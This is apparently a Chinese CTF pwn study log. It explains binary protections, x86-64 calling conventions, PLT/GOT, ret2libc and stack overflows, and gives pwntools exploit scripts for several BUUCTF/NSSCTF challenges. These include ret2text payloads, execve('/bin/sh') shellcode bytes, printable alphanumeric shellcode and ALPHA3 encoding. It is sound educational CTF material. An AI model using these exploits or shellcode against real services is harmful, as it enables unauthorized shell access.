Featured image of post CTF-pwn 学习日志 0x00 版

CTF-pwn 学习日志 0x00 版

如有错误请指出

使用环境 :wsl kali linux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31

Reference

hello ctf

shellcode 的艺术

生成可打印的shellcode

buuctf之pwn题(持续更新)

安全保护检查

设某道题附加可执行文件 ciscn 。

chmod +x ./ciscn 给文件 ciscn 加上 可执行权限。

pwn checksec ciscn_2019_c_1 查这个二进制的常见防护机制。

常见的安全保护:

  • Arch:
    • i386-32-little:32 位,小端,参数多在栈上传。
    • amd64-64-little:64 位,小端,参数通常走寄存器。
  • RELRO:
    • No RELRO:GOT 表可写、可在运行时继续解析,更容易做 GOT 覆写。
    • Partial RELRO:启用了部分保护:.got``.plt 仍可能可写。
    • Full RELRO: GOT 在解析完成后会被设成只读,基本堵死 GOT 覆写路线(但不影响 ret2libc/ROP 泄露)
  • Stack:
    • Canary found:有栈保护,溢出覆盖返回地址前会先覆盖 canary,函数返回时会检查。
    • No canary found:没 canary,栈溢出更直接。
  • NX:
    • NX enabled:栈/堆大多不可执行。
    • NX disabled:可执行栈。
  • PIE:
    • PIE enabled:程序本体代码段地址也会随机化(每次运行基址变)。
    • No PIE (0x400000):程序本体地址固定(常见起点 0x400000),libc 仍可能因 ASLR 随机。

示例(ciscn_2019_c_1):

image

初学 Pwn,二进制安全

我们的目的通常是得到 system 函数的参数,得到 system 我们就可以操控服务器的操作系统。

在 Pwn 题中,我们最想构造的参数永远是 /bin/sh

  • 如果执行 system("ls"):程序只是列出当前目录的文件,然后马上结束,又回到了受限状态。

  • 如果执行 system("/bin/sh")

    • sh 是 Linux 的 Shell(壳层) 程序。

    • 当运行它时,它不会自动结束,而是会跳出一个光标,等待你输入新的命令。

    • 这时候,我们获得了一个直接和系统对话的终端窗口。

这就是所谓的 Get Shell(拿设)。

在提供的代码中,往往没有访问根目录的权限,而当我们执行 system("/bin/sh") 后,我们就可以在根目录查看 flag。

x86环境,初识汇编语言 1

C++ 为代表的高级语言,与汇编语言有很大的区别,其中有个区别在于 如何传递参数

1
2
3
4
5
6
#include<stdio.h>

int main(){
    printf("hello world");
    return 0;
}

以上述代码(设为 main.c)为例,这里的“参数”指的就是字符串 “hello world” 的内存地址。

C 这类高级语言中,你不需要操心这个字符串放在哪,也不需要操心 printf 怎么拿到它,编译器会帮你搞定一切。

但是从汇编语言的角度来讲,CPU 在执行 printf 函数时(即汇编语言中 call printf 指令),必须先把参数准备好,放到 寄存器 上,printf 来了直接从寄存器取。

(寄存器:一个位于 CPU 内的储存结构,里边可以储存一些变量)

寄存器

执行 gcc -S main.c -o main.s -masm=intel,我们的 C 语言源码 main.c 会被编译,并输出等价的 intel 语法的汇编语言源码在 main.s

1
2
3
4
5
6
7
8
.LC0:
    .string "hello world"
main:
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    mov eax, 0
    ret

以上是刚刚代码的汇编代码(摘选),其中:

1
2
.LC0:
    .string "hello world"

指定义数据,.LC0Local Constant 0(局部常量 0 号),是 gcc 编译器自己起的名字,他在编译器眼里代表了一个内存地址。

那么汇编语言中 lea rdi, .LC0[rip]指,把 .LC0(也就是 “hello world” 字符串)在内存里的地址,复制rdi 寄存器里放好。

等到 call printf时,它会习惯性地去 rdi 里看一眼,就能找到这个字符串在哪里了。

最后 mov eax, 0 其实与 return 0 相对应,即汇编里的返回值,接下来我们将分别解析这三部分

  • 为什么传递的是“地址”而不是“字符串本身”?

这就是为什么使用寄存器,寄存器 rdi 很小,只有 64 位(8 个字节),放不下很长的字符串。所以我们不把整个“hello world”塞进寄存器,而是把它的地址告诉寄存器。printf 拿到地址,就能自己去内存里读出整个字符串了。

  • 那么 CPU 中有多少寄存器呢?如果有很多寄存器,如何保证 printf 调用 rdi 寄存器?

CPU 中寄存器不止一个,但是他们的分工非常明确。

在 x86 环境下,调用约定(Calling Convention)规定,函数在被调用时,参数必须按照特定的顺序放在特定的寄存器里

printf 不会只看 rdi,它会根据你给它的参数数量,依次去检查不同的寄存器。

当你在 C 语言里调用一个函数(比如 printfadd)时,前 6 个 整数型参数 必须 依次存放 在以下寄存器中:

(这里 整数型参数 指指针是一个整数,任何类型的指针 void *, int *, struct node * 在传参规则里,通通都被视为“整数”。) (真正不走 rdi, rsi 这条路的,主要是 浮点数,它们使用 XMM 寄存器,从 xmm0xmm7

  1. rdi,Destination Index(目的)。
  2. rsi,Source Index (源)。
  3. rdx,Data(数据)。
  4. rcx,Counter(计数)。
  5. r8,第 8 号。
  6. r9,第 9 号。

容易发现他们的前缀都有一个 r,这其实是 Register 的意思,代表了 64 位。

同理,e 开头,代表 Extended (32位)。

无前缀:代表 16位。

L/H 后缀 (DIL):代表 Low (8位)。这是最小的一个字节。

RDIEDI 为例,它们在物理上是同一个寄存器,该规则适用于所有通用寄存器。

回归正题,如果函数调用,超过 6 个参数,第 7 个开始的参数才会被放在栈 (Stack) 上。

举个例子:

假设你在 C 语言里写了这样一行代码,有两个参数:

1
2
//       参数1    参数2
printf("数字是: %d", 666);

汇编的世界里,这一行代码会被拆解成这样:

  1. 准备参数 1:把字符串 “数字是: %d” 的地址放入 rdi
  2. 准备参数 2:把整数 666 放入 rsi
  3. 调用:call printf

printf 先分析 rdi寄存器,rdi = "数字是: %d" 的地址,然后分析字符串发现 %d,于是 依次 分析 rsi,打印整数 666

另外还有很多很重要的寄存器,我还在学习()

  • 题外话:为社么第 5 个寄存器名为 r8

其实是不太有意义的问题,“8”代表的是它在 CPU 里的编号,而不是它在传递参数时的顺位。

编号为 8 的原因,是因为在 x32 时代,cpu 里只有 8 个寄存器(编号从 0 到 7),当时的工程师还给它们起比较有意义的名字:

1
2
3
4
5
6
7
8
0,RAX,累加器 (Accumulator)
1,RCX,计数器 (Counter)
2,RDX,数据 (Data)
3,RBX,基址 (Base)
4,RSP,栈顶 (Stack Pointer)
5,RBP,栈底 (Base Pointer)
6,RSI,源索引 (Source Index)
7,RDI,目的索引 (Destination Index)

到了 x86-64 时代,决定再加 8 个新的寄存器。新来的自然就从 8 号 开始排,一直排到 15 号。

1
R8, R9, R10, R11, R12, R13, R14, R15

调用函数与系统库

容易观察到 call printf@PLT,后面有一个 @PLT,指 Procedure Linkage Table(过程链接表)

printf 并不是我写的函数,而是系统自带的库函数(位于 libc.so 这个大仓库里),而系统库 libc 的内存地址在每一次运行中位置不同。

这个深刻的机制叫 ASLR(Address Space Layout Randomization,地址空间布局随机化)。

如果没有 ASLR 机制,那么系统库的地址永远固定在一个位置,就容易被黑客写攻击脚本。

为了安全性,ASLR 把水搅浑,每一次新的运行,系统库的内存地址都会改变。

但是,系统库的位置是变化的,printf 等函数相对系统库的位置却是固定的,于是我们称这个相对距离叫 偏移量

返回到 call printf@PLT 上来,既然 printf 的内存地址的变化的,那么我们需要知道 printf 具体在哪,这就需要两个工具:

  • PLT(过程链接表 - Procedure Linkage Table) 和 GOT(全局偏移表 - Global Offset Table)

PLT 执行以下两种操作:

  1. 若要访问的地址已经存在于 GOT 中:直接访问。

  2. 若要访问的地址不存在于 GOT 中,那么使用 “动态链接器 ld-linux.so 现查这个地址,再把它写入 GOT 中。

  • 动态链接器Dynamic Linker ld-linux.so,它在程序运行前先 随机 找到一块内存空地,放入 libc.so,记录下 libc 的基地址。
  • PLT 调用其时,再重定位。

PLTGOT 有点类似于 接线员和通讯录 的关系,又有点像 搜索后的记忆化

GOT 表 是一块可读写的白板,而且接线员 (PLT) 对通讯录 (GOT) 是绝对信任的,那么我们可以通过更改 GOT 的方法使得程序,执行不该执行的命令。

这带来了著名的 GOT 覆写攻击

而且得到了 printf 的地址,我们就可以通过 确定 的偏移量,得到很多东西确定的位置。

这带来了一个经典的攻击技巧:Ret2Libc(Return to Libc)

Ret2Libc

如果我想调用 system("/bin/sh"),但不知道 system 今天的真实地址在哪里(因为 ASLR),你需要做两步:

  1. 泄露 (Leak):先想办法读取内存,获知现在 printf 的真实地址(假设它是 Addr_A)。

  2. 计算:

  • 我知道 printfsystem 在 libc 文件里的相对距离(偏移量差)。
  • 比如:system 永远在 printf 后面 0x1000 字节处。(仅为假设)
  • 计算出 system 的地址 = Addr_A + 0x1000

现在你算出 system 的地址了,就可以控制程序跳转过去了。

GOT 覆写攻击

攻击者的操作:

  1. 利用漏洞(比如任意地址写),偷偷把 GOT 表上记录的 printf 的真实地址,擦掉。
  2. 在上面写上 system 函数的地址。
  3. 等到程序下次执行 call printf@PLT 时…
  4. PLT 调用错误的地址,执行错误命令。
  5. 结果:本该打印东西,结果却执行了命令(Get Shell)。

汇编里的返回值

观察:

1
2
3
4
mov eax, 0
call    printf@PLT
mov eax, 0
ret

eax 这个寄存器十分的特殊,它是 返回值寄存器

当我们调用某个函数,必须把其 运算结果任务状态 放入 eax 寄存器,例如:

  • 如果是 add(2, 3)add 函数算完后,会把 5 放入 eax,然后才返回。
  • 如果是 main 函数:最后 return 0,就是把 0 放入 eax,告诉系统“我正常运行结束了”。

那么汇编中,为什么有两句 mov eax, 0 呢?

首先必须了解,mov 接收者(Dest),发送者(Source) 的结构,那么

对于第二处:

1
2
mov eax, 0
ret

毫无疑问,return 0 为了保证函数结束时,eax 里的值确确实实是 0,所以在执行 ret 之前,必须强制把 0 塞进 eax

对于第一处:

1
2
mov eax, 0
call    printf@PLT

因为 printf 是一个变参函数(参数个数不确定)。

系统规定:在调用变参函数时,必须用 eax (具体说是 al) 告诉函数,有几个参数是浮点数(放在向量寄存器里的)。

拿这个程序举例子:

  1. 我们调用 printf("hello world")
  2. 这句话里没有浮点数(小数)。
  3. 所以,我们必须把 eax 设置为 0。
  4. 如果我们不把 eax 清零,而 eax 里正好残留了一个垃圾数据(比如 5),printf 就会误以为有 5 个浮点数,跑去读取浮点寄存器,这有可能会导致程序崩溃。

x86环境,初识汇编语言 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include<stdio.h>

int add(int a, int b){
    return a + b;
} 

int main(){
    printf("%d", add(2, 3));
    return 0;
}

对上面的程序进行汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add:
        push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add eax, edx
    pop rbp
    ret
main:
    push    rbp
    mov rbp, rsp
    mov esi, 3
    mov edi, 2
    call    add
    mov esi, eax
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    mov eax, 0
    pop rbp
    ret

我们主要看函数调用部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
add:
        push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add eax, edx
    pop rbp
    ret

存储逻辑,栈

对于每一个函数调用过程,都会有一个属于其的栈空间。

对于每一个程序,其启动的时候,内核会为其分配一段 内存,称为栈,遵循先进后出。 (内存里只有一个大栈,所有函数共用,但是 rbp寄存器只有一个

首先,在 main 函数调用 call add 时,CPU 自动把 “返回地址” 压入栈

接下来进入 add 函数:

1
2
RSP,栈顶 (Stack Pointer)
RBP,栈底 (Base Pointer)

push rbp:保存上一级函数(此例中为 main)的基址指针。

在新的栈上进行操作,不能把上一级函数的调用位置忘了,所以先把他压到栈 保存起来,接下来我们好对 rbq 这个寄存器修改,类似于 swap(a,b) 中的 temp 变量。

mov rbp, rsp:把当前的栈顶变成为新的栈底。

现在,由于 rbp 指向的位置已经被保存在栈了,所以我们将现在的 rbp 寄存器作为新的栈底,建该层函数新的内容,那这层函数刚刚开始,栈顶 rsp 就是这侧函数的 rbp

rsp 寄存器储存的总是当前栈顶的位置。)

往下看直到 pop rbq 的意义其实不大,可以跳过:

edi 是刚刚学的,一个 32位寄存器,对应了代码中的 int a

DWORD PTR,Double Word Pointer,意思是“操作 4 个字节”(因为 int 是 4 字节),**它的针对对象是 -4[rbp] **。

QWORD PTR 代表 8 字节或 指针WORD PTR 代表 2 字节,BYTE PTR代表 1 字节)

-4[rbp]:意思是在栈底往上挪 4 个字节的位置。

那么这段代码含义就是:把参数 a 从寄存器里拿出来,备份到栈内存里。

那么我们第一个汇编代码为什么没有 DWORD PTR

因为这个指的是 在内存里操作 4 字节,也就是只有真正对内存操作时,才需要引用,而 栈属于内存

如果对第一个代码更改如下:

1
2
3
4
5
int main() {
    int secret = 1234;  // 定义了一个局部变量
    printf("hello world");
    return 0;
}

就会生成以下的汇编:

1
mov DWORD PTR -4[rbp], 1234  ; 

那么现在又有一个问题,我在汇编 1 中写道:

如果函数调用,超过 6 个参数,第 7 个开始的参数才会被放在栈 (Stack) 上。

那么为什么这段汇编代码上来就把两个参数传到了栈里?

因为这是 函数的临时变量是储存于栈上的,它是储存问题,不是传参问题。

汇编 2 的汇编代码:

1
2
3
    mov esi, 3
    mov edi, 2
    call    add

它的传参依然是传的寄存器,没有动栈。

最后

函数做完了,执行

1
2
pop rbp
ret
  • pop rbp:
    • 把栈顶的值弹出, 还给 rbp 寄存器,这样我们返回上一级函数时,栈帧是正常的。
  • ret
    • 还记得 call add自动把返回地址入栈吗,当 rbp 已经弹出,这个返回地址就露出了。
    • ret 会从栈顶弹出一个地址(返回地址),并跳过去执行。

栈溢出 Ret2text

栈溢出的本质,其实是一场**“方向的碰撞”**。

我们得知:

  • 栈的生长方向:从高地址 -> 低地址。
    • push 会让 RSP 减小,新开辟的局部变量(buffer)在低地址。
  • 数据的写入方向:从低地址 -> 高地址。
    • 不管是在 C 语言里写数组 buffer[0], buffer[1]...,还是用 read、gets、strcpy 函数,写入数据时永远是往高地址增长的。

结果: 如果你往 buffer 里写的数据太多,它就会向高地址增长,冲掉栈的内容。

假设 vulnerable_function 里有一个 char buffer[16],并且有一个 read(0, buffer, 100) 的漏洞(最大读入 100 个字符),或者 gets(buffer) 的漏洞(不检查输入长度)。

内存地址 (高 -> 低)内存里存的东西它是谁?
0x10100x00401234返回地址 (Ret Addr)
(指向 Main 的下一行)
0x10080x00001000旧 rbp
(main 的栈底)
0x1000(空) buffer[8-15]局部变量的高位
0x0FF8(空) buffer[0-7]局部变量的起始位置
(read 从这里开始写)

(注:这里 buffer 是 16 字节,所以占了两个格子)

现在,我们利用漏洞,强行输入 24 个 ‘A’,再加上 8 个 ‘B’。

  1. 填满 Buffer (16字节) 输入的前 16 个 ‘A’,老老实实地填满了 0x0FFF0x1007 的空间。此时一切正常。
  2. 淹没 rbp (8字节) 我们没有停手,继续输入:接下来的 8 个 ‘A’ 没地方去了,只能顺着地址往高处写,它们无情地覆盖了 0x1008 处的 旧 rbp。
  • 程序虽然还没崩,但当它想恢复 main 函数的栈底时,会拿到一堆 ‘A’ (0x41414141…),导致 main 函数的栈废了。
  1. 劫持 Ret,我们还在输入:最后的 8 个 ‘B’ 继续往高处写,覆盖了 0x1010 处的 返回地址。
  • 原本这里写着“回 Main 函数的路”,现在被改成了 ‘BBBBBBBB’ (0x42424242…)。

vulnerable_function 运行结束,执行到 ret 指令时,程序跳转到了一个非法地址,崩溃了(Segmentation Fault)。

那么,我们如果把最后 8 个 B,换成 后门函数(backdoor) 的真实地址,CPU 就会跳进去帮我们找到 Shell。

pwndbg 调试找到 offset

用 pwndbg 找到「覆盖到返回地址 RIP/EIP 需要的字节数(offset)」

自己算也可以。

  1. 启动 pwndbg
image
  1. 查看 main 函数汇编
image
  1. 在 gets 调用处下断点
image
  1. 运行到断点
image
  1. 生成随机 cyclic 字符串
image
  1. 继续运行程序。

以该题目为例,它会执行 call gets@plt,然后卡在 gets 里等待你输入。

image

其中有一段标为绿色的代码行:

1
► 0x401185 <main+67>    ret                                <0x6161616161616461>

箭头 ► 指向指当前要执行的命令是 ret0x401185 <main+67>ret 的位置,尖括号是 ret 将要跳去的地址:<0x6161616161616461>

  1. 看当前指令指针指向哪。
image

0x401185 <main+67>ret 的位置。

  1. 查看栈顶的 8 字节内容
image

这条命令的含义:“从 $rsp 指向的内存地址开始,读取 8 字节,并用十六进制打印出来。”

  1. 反查这 8 字节模式在 cyclic 里的位置,输出就是 offset。
image

例题 1:rip

BUUCTF 题目链接

安全防护检查:

image

PIE: No PIE (0x400000) 主函数基地址不变,可以直接查函数的地址。

使用 IDA 反编译结果如下:

image

容易发现有一个 fun() 函数,藏了 return system("/bin/sh");

Exports 中查到 fun() 函数的地址:

image

fun 0000000000401186

接下来找到 offset,构造 payload,本人使用 gdb 调试得到 offset=23。

然后写代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# written by Sonnety
from pwn import *

context(os="linux", arch="amd64")
context.log_level = "debug"

host = "node5.buuoj.cn"
port = 25390

offset = 23
fun_addr = 0x401186  # 从 IDA / disas 看到的 fun() 地址
ret_addr = 0x401016

def main():
    io = remote(host, port)

    # 先输出提示再读入
    try:
        io.recvuntil(b"please input", timeout=2)
    except Exception:
        pass
    payload = b"A"*offset + p64(ret_addr) + p64(fun_addr)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

例题 2:warmup_csaw_2016 1

BUU CTF 题目链接

运行可执行文件,得到一些神秘的东西:

1
2
3
4
┌──(Sonnety㉿LAPTOP-R4AP2N3H)-[/mnt/d/CTF_samples/warmup-csaw-2016]
└─$ ./warmup_csaw_2016
-Warm Up-
WOW:0x40060d

IDA 反编译一下,发现这是后门函数地址。

image image

而且还有 gets,只剩下算偏移了。

这个题做了去符号,disas main找不到地址,所以执行 starti,在 gets 上打断点。

image image image
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# written by Sonnety
from pwn import *

host = "node5.buuoj.cn"
port = 28105

offset = 72
backdoor = 0x40060d

def main():
	io = remote(host,port)
	
	try:
		io.recvuntil(b"WOW:0x40060d",timeout=2)
	except Exception:
		pass
	payload=b"A"*offset+p64(backdoor)
	io.sendline(payload)
	io.interactive()
if __name__ == "__main__":
	main()

例题 3:jarvisoj_level0_1

BUU CTF 题目链接

和上两道题没什么太大区别。

可能多了一个 rop --grep "ret" 得到 ret 地址。

不再详细写解题步骤。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# written by Sonnety
from pwn import *

host = "node5.buuoj.cn"
port = 28777

offset = 136
backdoor = 0x400596
ret_addr = 0x400431

def main():
	io=remote(host,port)
	try:
		io.recvuntil(b"Hello World",timeout=2)
	except Exception:
		pass
	payload=b"A"*offset+p64(ret_addr)+p64(backdoor)
	io.sendline(payload)
	io.interactive()
if __name__ == "__main__":
	main()

shellcode && Ret2shellcode

shellcode 是一段“机器码字节序列”(比如 x86-64 指令),它自己就能完成系统调用:execve("/bin/sh",0,0),从而起 shell。

简单说,shellcode = asm(shellcraft.sh()) 的含义就是,生成一段打开 /bin/sh 的机器码。

比如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
shellcode = ``` 
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall```
  1. mov rbx, 0x68732f6e69622f:把字符串 /bin/sh(按小端序倒着)塞进寄存器 rbx
  2. push rbx:把这 8 字节压栈。
  3. push rsp; pop rdi:让 rdi 指向栈顶,也就是指向 /bin/sh 那块内存。
  4. xor esi, esirsi = 0:argv 设为 NULL。
  5. xor edx, edxrdx = 0:envp 设为 NULL。
  6. push 0x3b; pop raxrax = 0x3b:execve syscall 号
  7. syscall:发起系统调用:execve("/bin/sh", 0, 0)

也可以用现成生成器直接给一段通用 shellcode : shellcode = asm(shellcraft.sh())

先判断“这题能不能 ret2shellcode”,通常安全保护如下:

  • NX unknown/disabled、
  • No Canary Found

和 Ret2text 差别不大,依然是 dbg 得到 offset,我们使用 shellcode.ljust(offset, b"\x90") 将 shellcode 填充到长度为 offset,\x90 是 x86 的 NOP 指令(什么都不做).

那么这一段的含义就是,让 payload 的前 offset 字节 = “shellcode + 一堆 NOP”,刚好填到返回地址的位置。

读取 payload 的那个 buf 地址,填入后面返回地址,就会执行 shellcode。

payload = shellcode.ljust(offset, b"\x00") + p32(buf_addr)

有几个酌情使用的通用 shellcode:

  • 不可见版本
    • 32 位 短字节 shellcode 21 字节
1
#\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
  • 64 位 较短的 shellcode 23 字节
1
#\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05```
  • 可见版本
    • x64 下的:
1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t 
  • x32 下的:
1
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA 

例题 1:wdb_2018_3rd_soEasy

BUU CTF 题目链接

安全防护如下,注意 arch: i386-32-little!

image

在 cyclic 获取 offset 时:

image

注意:Invalid address 0x61616174,代表 CPU 的执行流已经跳到一个无效地址(也就是 ret 已经生效,EIP 指向垃圾地址)。

image

所以我们不应该像之前的题目一样执行 x/wx $esp,而应该执行 x/wx $eip

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# written by Sonnety
from pwn import *

context.arch="i386"
host = "node5.buuoj.cn"
port = 27629
offset = 76

def main():
    io = remote(host,port)
    io.recvuntil(b"Hei,give you a gift->")
    buf_addr = int(io.recvline().strip(),16)
    shellcode = asm(shellcraft.sh())
    payload=shellcode.ljust(offset,b"\x90")+p32(buf_addr)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

例题 2:ciscn_2019_n_5

BUU CTF 题目链接

这道题虽然网络上很多题解都是 ret2shellcode 做的,但是至少在 BUUOJ 上,我试了三个 ret2shellcode 的题解都死了。

正解是 ret2libc,但是在这里只说 ret2shellcode 的错解(误)

安全检查:

image

这道题反编译如下:

image

很容易想到 ret2shellcode,先把 shellcode 填入 name,然后利用 gets 栈溢出,使 name 的地址覆盖 ret。

(当然也可以让 shellcode 填入 text,但是 text 在栈上,地址会因为 ASLR 随机化)

image
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# written by Sonnety
from pwn import *

context.arch="amd64"
host = "node5.buuoj.cn"
port = 25334
name_addr=0x601080
shellcode=asm(shellcraft.sh())
offset = 0x20+8

def main():
    io=remote(host,port)
    io.recvline()
    io.sendline(shellcode)
    io.recvline()
    io.recvline()
    payload=b"A"*offset+p64(name_addr)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

但是上面的代码会炸,为什么不能 ret2shellcode 呢?

image

执行 readelf -W -l ciscn_2019_n_5,发现 name 的地址 0x601080 落在 0x0000000000600e280x0000000000600e28+0x0001d0 之间,其权限是 RW ,没有 E,指该段不能执行。

同理,GNU_STACK 的权限是 RWE,代表从栈上 ret2shellcode 从权限意义上是可行的。

但是栈的地址是 ASLR 随机化的,所以找栈的位置为什么不直接 ret2libc 呢。

不过大概可以在本地关掉 ASLR 实验一下。

类似题目 NSS CTF:Shellcode

这道题目安全防护:

8c7f739439dba13129afbf773b601895

虽然是 NX enabled,但是查一下:

image image image

发现确实是不可执行栈,&name 也在不可执行段,但是有 mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7);,相当于开了可执行。

另外注意,read(0, &name, 0x25u); 意味着发的 shellcode 要在 37 字节内,但是 shellcraft 生成的,输出一下长度就发现是 48,超了,所以自己写一个shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# written by Sonnety
from pwn import *
context.arch = "amd64"
host = "node4.anna.nssctf.cn"
port = 26418
offset = 18
name_adr = 0x6010A0	

shellcode='''
mov rbx, 0x68732f6e69622f  
push rbx
push rsp 
pop rdi
xor esi, esi               
xor edx, edx            
push 0x3b
pop rax
syscall
'''

def main():
    io = remote(host,port)
    io.recvuntil(b"Please.\n")
    io.sendline(asm(shellcode))
    io.recvuntil(b"Nice to meet you.\n")
    io.recvuntil(b"Let's start!\n")
    payload = b"A"*offset + p64(name_adr)
    io.sendline(payload)
    io.interactive()

if  __name__ == "__main__":
    main()

例题 3:mrctf2020_shellcode

BUU CTF 题目链接

安全检查:

52532d2aafc7eb5c50944082a73d0c53 8fd3760501dba3550fb0e8e646f9a1b9

这道题反编译看不了伪代码,看汇编吧。

image

发现这道题直接 jump 到输入的地址上,所以根本不用算溢出(其实也溢出不能,因为 read 规定的读入量爆不了栈),直接把 shellcode 发过去就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Written by Sonnety
from pwn import *

context.arch = "amd64"
host = "node5.buuoj.cn"
port = 25867
shellcode = asm(shellcraft.sh())


def main():
    io = remote(host,port)
    io.recvuntil(b"Show me your magic!\n")
    io.sendline(shellcode)
    io.interactive()

if __name__ == "__main__":
    main()

几乎一模一样的题:picoctf_2018_shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# written by Sonnety
from pwn import *
context.arch = "i386"

host = "node5.buuoj.cn"
port = 29289
shellcode = asm(shellcraft.sh())

def main():
    io = remote(host,port)
    io.recvuntil(b"Enter a string!\n")
    io.sendline(shellcode)
    io.recvline()
    io.recvuntil(b"Thanks! Executing now...\n")
    io.interactive()

if __name__ == "__main__":
    main()

例题 4:mrctf2020_shellcode_revenge

BUU CTF 题目链接

安全检查:

image

反编译依然不能看伪代码,但是看汇编中有明显的 payload 检查,要求 payload 是可见字符。

image

最后跳到 payload 上,那么我们的 payload 就要求必须是题目指定白名单内的可见 shellcode。

生成指定白名单的可见 shellcode,可以用使用 ALPHA3 生成要求的 shellcode。

ALPHA3

先把 shellcode 打印出来放一个文件里,这里的 shellcode 是机器码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# written by Sonnety
from pwn import *
context(arch = "amd64",os = "linux")

f = open("shellcode_x64","wb")
shellcode = asm(shellcraft.sh())

def main():
    f.write(shellcode)
    f.close()

if __name__ == "__main__":
    main()

现在我们已经打印到 shellcode_x64 文件上了,然后使用 ALPHA3 转成可见 ascii。

以下面的常见命令为例:

python2 ALPHA3.py <arch> <charset_family> <charset_variant> <reg> --input=<raw_shellcode_file> > out.txt

  • <arch>:x86 或者 x64。
  • <charset_family>:常见是 ascii(可见字符)。
  • <charset_variant>:mixedcase(大小写混合),uppercase(全大写)
  • <reg>:告诉 decoder 哪个寄存器指向你的 payload 起始地址
    • 如果题目是 call rax / jmp rax,通常选 rax
    • 如果题目是 jmp rsp,通常选 rsp
  • --input=<file>:原始 shellcode 的二进制文件(raw bytes)
  • 输出 out.txt

对于这道题,IDA 的最后有 call rax。

image

所以执行 python2 ALPHA3.py x64 ascii mixedcase rax --input='shellcode_x64' > x64_out,然后把 x64_out 的东西直接抄到 shellcode 即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# written by Sonnety
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

host = "node5.buuoj.cn"
port = 26289
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"


def main():
    io = remote(host,port)
    io.recvuntil(b"Show me your magic!\n")
    io.send(shellcode)  # sendline() 的 \n 可能会破坏字符检查,应该使用 send()
    # io.recvuntil(b"I Can't Read This!")
    io.interactive()

if __name__ == "__main__":
    main()

然后有一个很类似的题目:

nss ctf 题目链接 safe_shellcode

这个题目它直接把伪代码以 .C 发下来了,有 if(buf[i]<'0'||buf[i]>'z') 的 判断,从 ‘0’ 到 ‘z’,而且还是 call rax,所以 payload 都和上面的一模一样。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# written by Sonnety
from pwn import *
context.arch="amd64"

host = "node5.anna.nssctf.cn"
port = 23022
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

def main():
    io=remote(host,port)
    io.send(shellcode)
    io.interactive()

if __name__ == "__main__":
    main()

Canary 保护原理及绕过

在 “常见安全保护中”,我们曾提到:

Canary found:有栈保护,溢出覆盖返回地址前会先覆盖 canary,函数返回时会检查。

